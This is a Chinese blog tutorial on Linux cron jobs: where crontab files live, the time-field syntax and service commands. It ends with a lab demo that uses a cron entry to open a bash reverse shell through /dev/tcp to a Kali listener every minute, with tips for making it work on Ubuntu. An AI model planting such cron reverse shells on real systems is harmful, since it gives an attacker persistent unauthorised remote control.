1. 程式人生 > >對Linux定時任務的認識

對Linux定時任務的認識

在Linux 系統上面原本就有非常多的計劃性工作,因此這個系統服務是預設啟動的。但是,Linux系統也給使用者提供了可以自己設定計劃,這就是定時任務。通過定時任務,使用者可以自己設定在什麼時候執行什麼命令,在這個過程中涉及到 crontab 命令。

在Linux中,週期執行的任務一般由cron這個守護程序來處理,cron讀取一個或多個配置檔案,這些配置檔案中包含了命令列及其呼叫時間,cron的配置檔案稱為“crontab”,是“cron table”的簡寫。

一般cron在3個地方查詢配置檔案:

/var/spool/cron/   這個目錄下存放的是每個使用者包括root的crontab任務,每個任務以建立者的名字命名。

/etc/crontab   這個檔案負責安排由系統管理員制定的維護系統以及其他任務的crontab。

/etc/cron.d/   這個目錄用來存放任何要執行的crontab檔案或指令碼。

cron服務一般是自啟的:

service crond start       啟動服務

service crond stop       關閉服務

service crond restart    重啟服務

service crond reload    重新載入配置

service crond status    檢視服務狀態 

cron有兩個配置檔案,一個是一個全域性配置檔案(/etc/crontab),是針對系統任務的;一組是crontab命令生成的配置檔案(/var/spool/cron下的檔案),是針對某個使用者的。定時任務配置到任意一箇中都可以。

檢視全域性配置檔案配置情況:

cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *    * * *   root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#

檢視當前使用者下的定時任務:

crontab -l 或 cat /var/spool/cron/使用者名稱

root就是我當前使用者的定時任務。

crontab任務配置基本格式:

*  * * * * (command)

第一個 * 表示分鐘1~59,每分鐘用 * 或者 */1 表示

第二個 * 表示小時1~23(0表示0點)

第三個 * 表示日期1~31

第四個 * 表示月份1~12

第五個 * 表示星期0~6(0表示星期天)

(command) 表示要執行的命令

在以上任何值中,星號(*)可以用來代表所有有效的值。比如,月份值中的星號意味著在滿足其它制約條件後每月都執行該命令。

整數間的短線(-)指定一個整數範圍。比如,1-4 意味著整數 1、2、3、4。

用逗號(,)隔開的一系列值指定一個列表。比如,3, 4, 6, 8 標明這四個指定的整數。

正斜線(/)可以用來指定間隔頻率。在範圍後加上 / 意味著在範圍內可以跳過 integer。譬如,0-59/2 可以用來在分鐘欄位定義每兩分鐘。間隔頻率值還可以和星號一起使用。例如,*/3 的值可以用在月份欄位中表示每三個月執行一次任務。

開頭為井號(#)的行是註釋,不會被處理。

例如:

0 4 * * * rm ~/桌面/test.txt
//每天晚上四點刪除 ~/桌面/ 這個目錄下的 test.txt 這個檔案
10 4 1,3,5 * * service apache2 restart
//表示每月1,3,5號的4:10會重啟Apache伺服器

......

引數說明:

usage:  crontab [-u user] file
        crontab [ -u user ] [ -i ] { -e | -l | -r }
                (default operation is replace, per 1003.2)
        -e      (edit user's crontab)
        -l      (list user's crontab)
        -r      (delete user's crontab)
        -i      (prompt before deleting user's crontab)

例如:當前使用者是root,建立root的定時任務

crontab -e   //進入編輯模式

寫下定時任務

然後檢視當前使用者的定時任務: crontab -l

我寫的定時任務是在每天12:05時在/var/spool/cron/ 目錄下建立一個test.txt檔案,可以看到任務已經執行。

定時任務反彈shell:

通常在在網路安全中,我們用crontab建立定時任務反彈shell

在本地演示一下

攻擊機:kali       ip:192.168.1.184

目標機:ubuntu    ip:192.168.1.170

演示開始:

先在攻擊機上監聽埠

[email protected]:~# nc -lvp 8888

listening 正在監聽

接下來在目標機上寫下定時任務

crontab -e    //開啟編輯器,寫入
* * * * * bash -i >& /dev/tcp/192.168.1.184/8888 0>&1

成功反彈shell

不過在ubuntu下寫定時任務反彈shell有個問題:

linux裡面的cron中command執行的shell環境是/bin/sh

/bin/sh 檔案實際上是一個軟連結檔案,他指向的是dash這個shell ,而實際上dash這個shell只有執行指令碼的能力,而沒有互動能力。 這裡我們只需要將修改sh的軟連結為bash即可

sudo ln - s -f bash /bin/sh    //修改軟連線需要root許可權

修改成功後就會出現上面反彈shell成功。

Ubuntu下計劃任務反彈shell需要注意的事項:

1.需要用root許可權書寫計劃

2.書寫crontab計劃的時候要將/bin/sh 軟連結到 /bin/bash